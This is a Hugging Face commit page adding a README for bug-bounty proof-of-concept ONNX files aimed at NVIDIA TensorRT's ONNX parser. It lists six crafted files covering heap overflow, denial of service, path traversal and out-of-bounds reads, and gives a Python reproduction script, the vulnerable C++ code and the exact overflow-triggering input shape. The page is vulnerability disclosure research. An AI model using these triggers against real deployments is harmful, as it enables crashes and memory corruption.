ijustabi commited on
Commit
cd023ae
·
verified ·
1 Parent(s): abb03bd

Upload README.md with huggingface_hub

Browse files
Files changed (1) hide show
  1. README.md +53 -0
README.md ADDED
@@ -0,0 +1,53 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ tags:
3
+ - security
4
+ - proof-of-concept
5
+ license: apache-2.0
6
+ ---
7
+
8
+ # TensorRT ONNX Parser - Security PoC Models
9
+
10
+ Bug bounty research submission to huntr.com targeting NVIDIA TensorRT ONNX parser.
11
+
12
+ ## Vulnerabilities
13
+
14
+ | File | Vulnerability | CWE | Severity |
15
+ |------|--------------|-----|----------|
16
+ | `eyelike_overflow.onnx` | Integer overflow -> heap OOB write in EyeLike op | CWE-190, CWE-122 | Critical |
17
+ | `eyelike_small_overflow.onnx` | Same bug, faster crash trigger | CWE-190, CWE-122 | Critical |
18
+ | `external_oom_length.onnx` | Uncapped length field -> OOM denial of service | CWE-770 | High |
19
+ | `external_abs_path.onnx` | Absolute path traversal bypass in external weights | CWE-22 | Medium |
20
+ | `external_neg_offset.onnx` | Negative seek offset in external weights | CWE-20 | Medium |
21
+ | `external_oob_offset.onnx` | Read past EOF - uninitialized buffer risk | CWE-125 | Medium |
22
+
23
+ ## Reproduce (Finding 1 - Heap OOB Write)
24
+
25
+ ```python
26
+ import tensorrt as trt
27
+
28
+ logger = trt.Logger(trt.Logger.VERBOSE)
29
+ builder = trt.Builder(logger)
30
+ network = builder.create_network(
31
+ 1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
32
+ parser = trt.OnnxParser(network, logger)
33
+
34
+ with open("eyelike_overflow.onnx", "rb") as f:
35
+ parser.parse(f.read())
36
+ # Expected: SIGSEGV / heap-buffer-overflow
37
+ ```
38
+
39
+ ## Root Cause (Finding 1)
40
+
41
+ ```cpp
42
+ // onnxOpImporters.cpp - EyeLike importer
43
+ int totalWeights = dims.d[0] * dims.d[1]; // int32 overflow! dims are int64_t
44
+ std::vector<int> values(totalWeights); // undersized allocation
45
+ for (int32_t r = 0; r < dims.d[0]; ++r)
46
+ for (int32_t c = 0; c < dims.d[1]; ++c)
47
+ values[r * dims.d[1] + c] = 0; // OOB WRITE
48
+ ```
49
+
50
+ Trigger: input shape `[65537, 65536]`
51
+ - True product: 4,295,032,832 (overflows int32)
52
+ - int32 truncated: 65,536 (vector too small)
53
+ - First OOB write: r=1, c=0 -> index 65,536